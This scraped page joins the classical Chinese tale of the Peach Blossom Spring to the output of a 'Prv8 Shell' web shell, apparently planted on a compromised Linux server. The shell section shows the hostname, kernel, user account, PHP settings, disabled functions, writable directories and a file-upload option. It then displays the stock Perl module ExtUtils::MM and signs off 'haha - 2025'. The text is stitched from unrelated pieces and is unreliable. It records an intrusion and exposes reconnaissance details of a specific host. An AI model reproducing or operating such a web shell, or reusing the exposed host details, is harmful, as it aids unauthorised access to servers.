晋太元中，武陵人捕鱼为业。缘溪行，忘路之远近。忽逢桃花林，夹岸数百步，中无杂树，芳草鲜美，落英缤纷。渔人甚异之，复前行，欲穷其林。 　　林尽水源，便得一山，山有小口，仿佛若有光。便舍船，从口入。初极狭，才通人。复行数十步，豁然开朗。土地平旷，屋舍俨然，有良田、美池、桑竹之属。阡陌交通，鸡犬相闻。其中往来种作，男女衣着，悉如外人。黄发垂髫，并怡然自乐。 　　见渔人，乃大惊，问所从来。具答之。便要还家，设酒杀鸡作食。村中闻有此人，咸来问讯。自云先世避秦时乱，率妻子邑人来此绝境，不复出焉，遂与外人间隔。问今是何世，乃不知有汉，无论魏晋。此人一一为具言所闻，皆叹惋。余人各复延至其家，皆出酒食。停数日，辞去。此中人语云：“不足为外人道也。”(间隔 一作：隔绝) 　　既出，得其船，便扶向路，处处志之。及郡下，诣太守，说如此。太守即遣人随其往，寻向所志，遂迷，不复得路。 　　南阳刘子骥，高尚士也，闻之，欣然规往。未果，寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /usr/share/perl5/vendor_perl/ExtUtils/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/share/perl5/vendor_perl/ExtUtils/MM.pm
package ExtUtils::MM;

use strict;
use ExtUtils::MakeMaker::Config;

our $VERSION = '7.34';
$VERSION = eval $VERSION;

require ExtUtils::Liblist;
require ExtUtils::MakeMaker;
our @ISA = qw(ExtUtils::Liblist ExtUtils::MakeMaker);

=head1 NAME

ExtUtils::MM - OS adjusted ExtUtils::MakeMaker subclass

=head1 SYNOPSIS

  require ExtUtils::MM;
  my $mm = MM->new(...);

=head1 DESCRIPTION

B<FOR INTERNAL USE ONLY>

ExtUtils::MM is a subclass of ExtUtils::MakeMaker which automatically
chooses the appropriate OS specific subclass for you
(ie. ExtUils::MM_Unix, etc...).

It also provides a convenient alias via the MM class (I didn't want
MakeMaker modules outside of ExtUtils/).

This class might turn out to be a temporary solution, but MM won't go
away.

=cut

{
    # Convenient alias.
    package MM;
    our @ISA = qw(ExtUtils::MM);
    sub DESTROY {}
}

sub _is_win95 {
    # miniperl might not have the Win32 functions available and we need
    # to run in miniperl.
    my $have_win32 = eval { require Win32 };
    return $have_win32 && defined &Win32::IsWin95 ? Win32::IsWin95()
                                                  : ! defined $ENV{SYSTEMROOT};
}

my %Is = ();
$Is{VMS}    = $^O eq 'VMS';
$Is{OS2}    = $^O eq 'os2';
$Is{MacOS}  = $^O eq 'MacOS';
if( $^O eq 'MSWin32' ) {
    _is_win95() ? $Is{Win95} = 1 : $Is{Win32} = 1;
}
$Is{UWIN}   = $^O =~ /^uwin(-nt)?$/;
$Is{Cygwin} = $^O eq 'cygwin';
$Is{NW5}    = $Config{osname} eq 'NetWare';  # intentional
$Is{BeOS}   = ($^O =~ /beos/i or $^O eq 'haiku');
$Is{DOS}    = $^O eq 'dos';
if( $Is{NW5} ) {
    $^O = 'NetWare';
    delete $Is{Win32};
}
$Is{VOS}    = $^O eq 'vos';
$Is{QNX}    = $^O eq 'qnx';
$Is{AIX}    = $^O eq 'aix';
$Is{Darwin} = $^O eq 'darwin';

$Is{Unix}   = !grep { $_ } values %Is;

map { delete $Is{$_} unless $Is{$_} } keys %Is;
_assert( keys %Is == 1 );
my($OS) = keys %Is;


my $class = "ExtUtils::MM_$OS";
eval "require $class" unless $INC{"ExtUtils/MM_$OS.pm"}; ## no critic
die $@ if $@;
unshift @ISA, $class;


sub _assert {
    my $sanity = shift;
    die sprintf "Assert failed at %s line %d\n", (caller)[1,2] unless $sanity;
    return;
}

haha - 2025